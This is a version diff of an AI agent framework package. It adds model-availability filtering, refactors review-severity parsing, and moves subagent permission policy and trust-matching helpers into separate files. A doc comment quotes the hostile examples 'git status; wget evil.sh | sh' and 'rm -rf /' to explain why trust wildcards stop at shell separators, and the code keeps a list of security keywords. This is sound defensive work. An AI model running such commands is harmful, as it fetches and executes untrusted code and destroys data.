@wrongstack/core 0.298.0 → 0.298.2

package/dist/plugin/index.js

@@ -6839,7 +6839,7 @@ function trimKnownFingerprints(map, max) {
     map.delete(oldest);
   }
 }
-function buildReviewerModelPool(provider, model, fallbackModels = []) {
+function buildReviewerModelPool(provider, model, fallbackModels = [], statusTracker) {
   const primaryProvider = provider.trim();
   const primaryModel = model.trim();
   const primaryRef = primaryProvider && primaryModel ? `${primaryProvider}/${primaryModel}` : "";
@@ -6854,12 +6854,20 @@ function buildReviewerModelPool(provider, model, fallbackModels = []) {
     if (seen.has(normalized)) continue;
     seen.add(ref);
     seen.add(normalized);
+    if (statusTracker && !statusTracker.isAvailable(parsed.provider.trim(), parsed.model.trim())) {
+      continue;
+    }
     pool.push(normalized);
   }
   return pool;
 }
-function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "", fallbackModel = "") {
-  if (pool.length === 0) {
+function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "", fallbackModel = "", statusTracker) {
+  const filteredPool = statusTracker ? pool.filter((ref) => {
+    const parsed2 = parseModelRef(ref);
+    if (!parsed2.provider?.trim() || !parsed2.model.trim()) return false;
+    return statusTracker.isAvailable(parsed2.provider.trim(), parsed2.model.trim());
+  }) : pool;
+  if (filteredPool.length === 0) {
     return {
       provider: fallbackProvider,
       model: fallbackModel,
@@ -6867,13 +6875,13 @@ function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "",
       nextCursor: cursor + 1
     };
   }
-  const len = pool.length;
+  const len = filteredPool.length;
   const idx = (cursor % len + len) % len;
-  const primaryRef = pool[idx];
+  const primaryRef = filteredPool[idx];
   const parsed = parseModelRef(primaryRef);
   const provider = parsed.provider?.trim() || fallbackProvider;
   const model = parsed.model.trim() || fallbackModel;
-  const fallbackModels = [...pool.slice(idx + 1), ...pool.slice(0, idx)];
+  const fallbackModels = [...filteredPool.slice(idx + 1), ...filteredPool.slice(0, idx)];
   return {
     provider,
     model,
@@ -6915,57 +6923,49 @@ function parseReviewSeverity(text) {
   const result = { critical: 0, high: 0, medium: 0 };
   if (!text) return result;
   for (const level of ["critical", "high", "medium"]) {
-    const countRe = new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i");
-    const countMatch = text.match(countRe);
+    const countMatch = text.match(new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i"));
     if (countMatch?.[1]) {
       result[level] = Number.parseInt(countMatch[1], 10);
       continue;
     }
-    const sectionRe = new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i");
-    const sectionMatch = text.match(sectionRe);
-    if (sectionMatch?.[1]) {
-      const items = sectionMatch[1].match(/^\s*\d+\.\s/gm);
-      result[level] = items ? items.length : 0;
-    }
+    const section = text.match(
+      new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i")
+    )?.[1];
+    result[level] = section?.match(/^\s*\d+\.\s/gm)?.length ?? 0;
   }
   return result;
 }
-var SECURITY_KEYWORDS = [
-  "injection",
-  "xss",
-  "csrf",
-  "ssrf",
-  "sql",
-  "secret",
-  "credential",
-  "password",
-  "api key",
-  "token",
-  "auth",
-  "shell injection",
-  "command injection",
-  "innerhtml",
-  "deserialization",
-  "path traversal",
-  "hardcoded",
-  "privilege",
-  "owasp"
-];
 function decideCascadeAgents(text, severities) {
   const agents = /* @__PURE__ */ new Set();
-  if (severities.critical > 0 || severities.high > 0) {
-    agents.add("bug-hunter");
-  }
-  const lower = text.toLowerCase();
-  const criticalHighRe = /###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi;
-  let section = criticalHighRe.exec(lower);
-  while (section !== null) {
+  if (severities.critical > 0 || severities.high > 0) agents.add("bug-hunter");
+  const securityKeywords = [
+    "injection",
+    "xss",
+    "csrf",
+    "ssrf",
+    "sql",
+    "secret",
+    "credential",
+    "password",
+    "api key",
+    "token",
+    "auth",
+    "shell injection",
+    "command injection",
+    "innerhtml",
+    "deserialization",
+    "path traversal",
+    "hardcoded",
+    "privilege",
+    "owasp"
+  ];
+  const criticalHighSections = text.toLowerCase().matchAll(/###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi);
+  for (const section of criticalHighSections) {
     const body = section[1] ?? "";
-    if (SECURITY_KEYWORDS.some((kw) => body.includes(kw))) {
+    if (securityKeywords.some((keyword) => body.includes(keyword))) {
       agents.add("security-scanner");
       break;
     }
-    section = criticalHighRe.exec(lower);
   }
   return [...agents];
 }
@@ -7058,9 +7058,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
       "Detects git-tracked file edits and dispatches review subagents",
       "with configurable provider/model/fallback.",
       "",
-      "When a review report contains findings at or above the cascadeOn",
-      "threshold, follow-up agents (security-scanner, bug-hunter) are",
-      "automatically spawned to investigate.",
+      "Reports are persisted and shown as passive notifications.",
+      "They never wake the leader or spawn mutating follow-up agents.",
       "",
       "Commands:",
       "  /auto-review           Show current status and config",
@@ -7075,11 +7074,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
       "  debounceMs           debounce window (default 15000)",
       "  maxFilesPerBatch     max files per review (default 15)",
       "  maxConcurrentReviews max parallel reviews (default 2)",
-      '  cascadeOn            "off" | "critical" | "high" (default off)',
-      "                       Spawns security-scanner/bug-hunter when",
-      '                       findings reach this severity. "high" fires',
-      '                       on any High+ finding; "critical" only on Critical.',
-      "  maxCascadeDepth      max fix+re-review cycles (default 2, 0=off)"
+      "  cascadeOn            off | critical | high (default off)",
+      "  maxCascadeDepth      max fix+re-review cycles (default 2)"
     ].join("\n"),
     async run(args) {
       const cfg = getConfig();
@@ -7095,7 +7091,6 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
         };
       }
       const inFlight = getInFlightCount();
-      const cascadeDesc = cfg.cascadeOn === "off" ? "disabled" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`;
       return {
         message: [
           `\u{1F4CB} Auto Review \u2014 ${cfg.enabled ? "\u2705 enabled" : "\u23F8\uFE0F  disabled"}`,
@@ -7106,7 +7101,7 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
           `  Debounce:       ${cfg.debounceMs} ms`,
           `  Max files:      ${cfg.maxFilesPerBatch}`,
           `  Max parallel:   ${cfg.maxConcurrentReviews}`,
-          `  Cascade:        ${cascadeDesc}`,
+          `  Cascade:        ${cfg.cascadeOn === "off" ? "off" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`}`,
           `  Max depth:      ${cfg.maxCascadeDepth} re-review cycle(s)`,
           `  In-flight:      ${inFlight} review(s)`,
           "",
@@ -8414,7 +8409,9 @@ function createChimeraPlugin() {
             api.log.info("[chimera] skipped \u2014 changed files already have reviews in progress");
             return;
           }
-          api.log.info(`[chimera] emitted review_needed event (${emittedBundle.files.length} files)`);
+          api.log.info(
+            `[chimera] emitted review_needed event (${emittedBundle.files.length} files)`
+          );
         } catch (err) {
           api.log.warn(`[chimera] session.ended handler failed: ${toErrorMessage(err)}`);
         }

package/dist/plugins/auto-review-plugin.d.ts

@@ -1,3 +1,4 @@
+import type { ProviderModelStatusTracker } from '../coordination/provider-status-tracker.js';
 import type { Config } from '../types/config.js';
 import type { Plugin } from '../types/plugin.js';
 import type { CascadeAgentKind } from './chimera-plugin.js';
@@ -70,8 +71,15 @@ export interface ReviewerModelAssignment {
  *
  * Order is stable: configured primary first, then the fallback chain.
  * Entries must be `provider/model` (or parseable refs); bare blanks are dropped.
+ *
+ * When a {@link ProviderModelStatusTracker} is supplied, every entry that is
+ * currently `state: 'blocked'` (waiting-room / token-reset-limit room) is
+ * filtered out before the pool is returned. Without this filter, concurrent
+ * Chimera reviewers would re-spawn on a 429-stricken model on every round-
+ * robin turn and burn the entire chain instead of leaving the doomed model
+ * quarantined until the tracker re-admits it.
  */
-export declare function buildReviewerModelPool(provider: string, model: string, fallbackModels?: readonly string[]): string[];
+export declare function buildReviewerModelPool(provider: string, model: string, fallbackModels?: readonly string[], statusTracker?: ProviderModelStatusTracker | undefined): string[];
 /**
  * Pick primary + fallback chain for the Nth concurrent reviewer via round-robin.
  *
@@ -79,28 +87,25 @@ export declare function buildReviewerModelPool(provider: string, model: string,
  * rotated so the former primary lands last (still available after rate limits).
  * The pool must be pre-filtered by {@link buildReviewerModelPool} so every
  * non-empty entry contains both a provider and a model.
+ *
+ * When a {@link ProviderModelStatusTracker} is supplied, the cursor advances
+ * over blocked entries too — a doomed entry is never picked as the primary,
+ * but the cursor saturates against the live pool so the next-after-blocked
+ * round inherits the rest of the unwalked chain instead of looping back to
+ * the head. Without the tracker, the cursor advances mod `pool.length`,
+ * which is the pre-waiting-room behavior.
  * Pure: the caller owns the cursor (typically a process-local counter).
  */
 export declare function selectRoundRobinReviewerAssignment(pool: readonly string[], cursor: number, 
 /** Used only when the selected ref is somehow unparseable — defensive. */
-fallbackProvider?: string, fallbackModel?: string): ReviewerModelAssignment;
+fallbackProvider?: string, fallbackModel?: string, statusTracker?: ProviderModelStatusTracker | undefined): ReviewerModelAssignment;
 export declare function resolveAutoReviewConfig(cfg: AutoReviewConfig, sessionConfig: Config): ResolvedAutoReviewConfig;
 export interface ParsedSeverities {
     critical: number;
     high: number;
     medium: number;
 }
-/**
- * Extract Critical/High/Medium finding counts from a Chimera review report.
- *
- * The report format (from llm/chimera-review.md) uses section headers like
- * `### Critical (2)`, `### High (1)`, `### Medium (3)`. We match the count
- * in parentheses. Falls back to counting `1.`, `2.` list-item markers under
- * a severity heading when no `(N)` is present (defensive — the prompt asks
- * for both, but LLMs sometimes omit the count).
- *
- * Returns all-zero when the text doesn't match (clean report or unparseable).
- */
+/** Parse report counts for clean-vs-actionable classification. */
 export declare function parseReviewSeverity(text: string): ParsedSeverities;
 /**
  * Decide which follow-up cascade agents to spawn based on the review text.

package/dist/security/auto-approve-policy.d.ts

@@ -0,0 +1,37 @@
+/**
+ * Auto-approving PermissionPolicy used for subagents. Subagents run
+ * non-interactively under a director — they cannot answer permission
+ * prompts, so a non-YOLO policy on the leader would silently hang the
+ * delegated run on the first sensitive tool call. The user already
+ * authorized the delegation when they invoked the leader; subagents
+ * inherit that authorization automatically.
+ *
+ * Tool defaults of `permission: 'deny'` are still honored (this is a
+ * subagent capability override, not a deny-bypass).
+ *
+ * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
+ * (capability allowlist / denylist model). The legacy name-based DENY set
+ * is kept only for backward compatibility with tools that have not yet
+ * declared capabilities.
+ *
+ * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
+ * allowed capabilities are auto-approved. Everything else is denied.
+ * Default allowed: fs.read, net.outbound (read-only, safe operations).
+ *
+ * Extracted from permission-policy.ts.
+ */
+import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
+import type { Tool } from '../types/tool.js';
+export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
+    private readonly allowedCapabilities;
+    constructor(allowedCapabilities?: readonly string[]);
+    private static isMcpTool;
+    evaluate(tool: Tool): Promise<PermissionDecision>;
+    trust(): Promise<void>;
+    deny(): Promise<void>;
+    denyOnce(): void;
+    allowOnce(): void;
+    explain(tool: Tool): Promise<PermissionTrace>;
+    reload(): Promise<void>;
+}
+//# sourceMappingURL=auto-approve-policy.d.ts.map

package/dist/security/index.js

@@ -2140,7 +2140,68 @@ function isClearlyDestructiveBashCommand(command, projectRoot) {
   return false;
 }
 
-// src/security/permission-policy.ts
+// src/security/auto-approve-policy.ts
+var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
+  allowedCapabilities;
+  constructor(allowedCapabilities) {
+    this.allowedCapabilities = allowedCapabilities ?? [
+      ToolCapabilities.FS_READ,
+      ToolCapabilities.NET_OUTBOUND
+    ];
+  }
+  static isMcpTool(name) {
+    return name.startsWith("mcp__");
+  }
+  async evaluate(tool) {
+    const caps = tool.capabilities ?? [];
+    const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
+    const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
+    const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
+    const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
+      (c) => !this.allowedCapabilities.includes(c)
+    );
+    const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
+    if (blocked) {
+      const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
+      return {
+        permission: "deny",
+        source: "subagent_guard",
+        reason
+      };
+    }
+    return { permission: "auto", source: "yolo" };
+  }
+  async trust() {
+  }
+  async deny() {
+  }
+  denyOnce() {
+  }
+  allowOnce() {
+  }
+  async explain(tool) {
+    const decision = await this.evaluate(tool);
+    return {
+      toolName: tool.name,
+      subject: null,
+      steps: [
+        {
+          rule: "subagent auto",
+          matched: decision.permission === "auto",
+          decision: decision.permission,
+          source: decision.source,
+          detail: decision.reason ?? `subagent policy: ${decision.permission}`
+        }
+      ],
+      winnerIndex: 0,
+      decision
+    };
+  }
+  async reload() {
+  }
+};
+
+// src/security/permission-helpers.ts
 function matchesTrust(patterns, subject) {
   return patterns.includes(subject) || matchAny(patterns, subject);
 }
@@ -2235,6 +2296,8 @@ function shellCommandReadsSensitivePath(command) {
   }
   return false;
 }
+
+// src/security/permission-policy.ts
 var DefaultPermissionPolicy = class {
   policy = {};
   loaded = false;
@@ -2977,65 +3040,6 @@ var DefaultPermissionPolicy = class {
     return void 0;
   }
 };
-var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
-  allowedCapabilities;
-  constructor(allowedCapabilities) {
-    this.allowedCapabilities = allowedCapabilities ?? [
-      ToolCapabilities.FS_READ,
-      ToolCapabilities.NET_OUTBOUND
-    ];
-  }
-  static isMcpTool(name) {
-    return name.startsWith("mcp__");
-  }
-  async evaluate(tool) {
-    const caps = tool.capabilities ?? [];
-    const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
-    const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
-    const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
-    const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
-      (c) => !this.allowedCapabilities.includes(c)
-    );
-    const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
-    if (blocked) {
-      const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
-      return {
-        permission: "deny",
-        source: "subagent_guard",
-        reason
-      };
-    }
-    return { permission: "auto", source: "yolo" };
-  }
-  async trust() {
-  }
-  async deny() {
-  }
-  denyOnce() {
-  }
-  allowOnce() {
-  }
-  async explain(tool) {
-    const decision = await this.evaluate(tool);
-    return {
-      toolName: tool.name,
-      subject: null,
-      steps: [
-        {
-          rule: "subagent auto",
-          matched: decision.permission === "auto",
-          decision: decision.permission,
-          source: decision.source,
-          detail: decision.reason ?? `subagent policy: ${decision.permission}`
-        }
-      ],
-      winnerIndex: 0,
-      decision
-    };
-  }
-  async reload() {
-  }
-};
 
 // src/security/readonly-permission-policy.ts
 import * as path4 from "node:path";

package/dist/security/permission-helpers.d.ts

@@ -0,0 +1,93 @@
+/**
+ * Pure helpers for permission policy evaluation — trust-pattern matching,
+ * tool fingerprinting, and sensitive-read detection.
+ *
+ * Extracted from permission-policy.ts. No class state, no I/O.
+ */
+import type { Tool } from '../types/tool.js';
+/**
+ * Match a computed subject against stored trust patterns.
+ *
+ * Exact string equality is checked FIRST, before glob compilation. Subjects are
+ * glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
+ * \]`), and a stored "always"-trust pattern is just a prior subject — so for an
+ * identical command the pattern and the subject are byte-for-byte equal. The
+ * glob matcher alone could not confirm that: `compileGlob` does not treat a
+ * backslash as an escape outside character classes, so an escaped `\[`/`\]` is
+ * parsed as a character-class delimiter and a command like `[ -f x ]` or
+ * `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
+ * even after the user chose "always" (#15). Exact equality is also strictly
+ * tighter than a glob, so this never widens what a pattern authorizes; genuine
+ * wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
+ */
+export declare function matchesTrust(patterns: string[], subject: string): boolean;
+/**
+ * Match a trust pattern against a shell command line, for ALLOW decisions only
+ * (WS-047).
+ *
+ * `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
+ * path that is right; on a command it means a user who wrote `git *` also
+ * authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
+ * wildcard at shell separators, so the pattern authorizes what it appears to.
+ *
+ * DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
+ * narrowing a deny pattern un-blocks whatever falls outside it: a deny of
+ * `git *` must keep matching `git status; rm -rf /`, because the user's intent
+ * there is "no git-shaped command gets through", not "only well-formed ones".
+ * Narrower is safer for allow and more dangerous for deny — hence two call
+ * sites with two matchers rather than one shared helper that picks.
+ *
+ * Exact equality is kept first for the same reason as `matchesTrust`: a stored
+ * "always" pattern is a prior subject, and glob-escaped brackets do not
+ * round-trip through the compiler (#15).
+ */
+export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
+/**
+ * True when this tool's permission subject is a shell command line rather than
+ * a path, url, or name — i.e. when the stricter wildcard rules apply.
+ */
+export declare function hasShellSubject(tool: Tool): boolean;
+/**
+ * Reason a persistent "always allow" cannot be recorded for this call, or
+ * `undefined` when it can (WS-046).
+ *
+ * A stored trust pattern is only ever consulted as
+ * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
+ * produces no subject, that condition can never be true — so `trust()` with the
+ * fallback `pattern: tool.name` writes an entry that is dead on arrival.
+ *
+ * The user experience of that bug is the damaging part. They pick "always
+ * allow", are asked again on the very next identical call, conclude the feature
+ * is broken, and reach for the one thing that does work: a blanket
+ * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
+ * actively trains people into the widest possible grant.
+ *
+ * So the option is refused with a stated reason instead of accepted and
+ * discarded. Exported so a UI can hide the choice rather than offer one that
+ * cannot be honoured.
+ */
+export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
+/**
+ * Fingerprint of the tool fields a permission decision actually depends on
+ * (WS-058).
+ *
+ * The eval cache was keyed on tool NAME plus subject, so a cached verdict
+ * outlived the tool definition it was computed from. `ToolRegistry.wrap()`
+ * replaces a tool in place and is reachable from the plugin API, so a tool
+ * tightened to `permission: 'deny'` mid-session would keep being served the
+ * `auto` decided under its previous definition. The cache check also runs
+ * BEFORE the tool-default-deny branch, so nothing downstream re-checked.
+ *
+ * Including these fields in the key means a redefined tool misses the cache
+ * and is re-evaluated, rather than inheriting a verdict that no longer
+ * describes it. Capabilities are included because the dangerous-capability
+ * branches read them; they are short, sorted lists. The tuple is
+ * JSON-serialized so separators inside a field value (e.g. a `,` or `|`
+ * in a capability string) cannot collide with the delimiters between
+ * fields.
+ */
+export declare function permissionFingerprint(tool: Tool): string;
+export declare function shellCommandLineFromInput(input: unknown): string | undefined;
+export declare function inputPathLooksSensitive(input: unknown): boolean;
+export declare function shellCommandReadsSensitivePath(command: string): boolean;
+//# sourceMappingURL=permission-helpers.d.ts.map

package/dist/security/permission-policy.d.ts

@@ -3,26 +3,8 @@ import type { InputReader } from '../types/input-reader.js';
 import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
 import type { Tool } from '../types/tool.js';
 import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
-/**
- * Reason a persistent "always allow" cannot be recorded for this call, or
- * `undefined` when it can (WS-046).
- *
- * A stored trust pattern is only ever consulted as
- * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
- * produces no subject, that condition can never be true — so `trust()` with the
- * fallback `pattern: tool.name` writes an entry that is dead on arrival.
- *
- * The user experience of that bug is the damaging part. They pick "always
- * allow", are asked again on the very next identical call, conclude the feature
- * is broken, and reach for the one thing that does work: a blanket
- * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
- * actively trains people into the widest possible grant.
- *
- * So the option is refused with a stated reason instead of accepted and
- * discarded. Exported so a UI can hide the choice rather than offer one that
- * cannot be honoured.
- */
-export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
+export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
+export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
 export interface PermissionPolicyOptions {
     trustFile: string;
     yolo?: boolean | undefined;
@@ -160,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
     explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
     private findNamespaceEntry;
 }
-/**
- * Auto-approving PermissionPolicy used for subagents. Subagents run
- * non-interactively under a director — they cannot answer permission
- * prompts, so a non-YOLO policy on the leader would silently hang the
- * delegated run on the first sensitive tool call. The user already
- * authorized the delegation when they invoked the leader; subagents
- * inherit that authorization automatically.
- *
- * Tool defaults of `permission: 'deny'` are still honored (this is a
- * subagent capability override, not a deny-bypass).
- *
- * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
- * (capability allowlist / denylist model). The legacy name-based DENY set
- * is kept only for backward compatibility with tools that have not yet
- * declared capabilities.
- *
- * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
- * allowed capabilities are auto-approved. Everything else is denied.
- * Default allowed: fs.read, net.outbound (read-only, safe operations).
- */
-export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
-    private readonly allowedCapabilities;
-    constructor(allowedCapabilities?: readonly string[]);
-    private static isMcpTool;
-    evaluate(tool: Tool): Promise<PermissionDecision>;
-    trust(): Promise<void>;
-    deny(): Promise<void>;
-    denyOnce(): void;
-    allowOnce(): void;
-    explain(tool: Tool): Promise<PermissionTrace>;
-    reload(): Promise<void>;
-}
 //# sourceMappingURL=permission-policy.d.ts.map

package/dist/storage/index.js

@@ -6216,13 +6216,32 @@ function inlineDefinition(model) {
   if (maxOutput !== void 0) definition.maxOutput = maxOutput;
   const capabilities = readCapabilities(model);
   if (capabilities) definition.capabilities = capabilities;
+  const { id: _id, ...rest } = model;
+  if (Object.keys(rest).length > 0) {
+    definition.modelsDev = rest;
+  }
   return definition;
 }
 function mergeDefinitions(base, patch) {
+  const mergedModelsDev = (() => {
+    if (!base?.modelsDev && !patch.modelsDev) return void 0;
+    const baseMd = base?.modelsDev ?? {};
+    const patchMd = patch.modelsDev ?? {};
+    const result = { ...baseMd, ...patchMd };
+    for (const nestedKey of ["limit", "cost", "modalities"]) {
+      const bn = baseMd?.[nestedKey];
+      const pn = patchMd?.[nestedKey];
+      if (bn || pn) {
+        result[nestedKey] = { ...bn ?? {}, ...pn ?? {} };
+      }
+    }
+    return result;
+  })();
   return {
     ...base,
     ...patch,
-    ...base?.capabilities || patch.capabilities ? { capabilities: { ...base?.capabilities, ...patch.capabilities } } : {}
+    ...base?.capabilities || patch.capabilities ? { capabilities: { ...base?.capabilities, ...patch.capabilities } } : {},
+    ...mergedModelsDev ? { modelsDev: mergedModelsDev } : {}
   };
 }
 function normalizeInlineProviderModels(config, warn) {
@@ -6630,7 +6649,7 @@ var CONFIG_BEHAVIOR_DEFAULTS = {
     // DEFAULT_STATUSLINE_MODE (packages/tui/src/components/settings-picker-model.ts).
     statuslineMode: "minimum",
     thinkingWord: DEFAULT_TUI_THINKING_WORD,
-    showAgentSwarmPanel: true
+    showAgentSwarmPanel: "bottom"
   },
   circuitBreaker: { ...DEFAULT_CIRCUIT_BREAKER_CONFIG },
   modelRuntime: {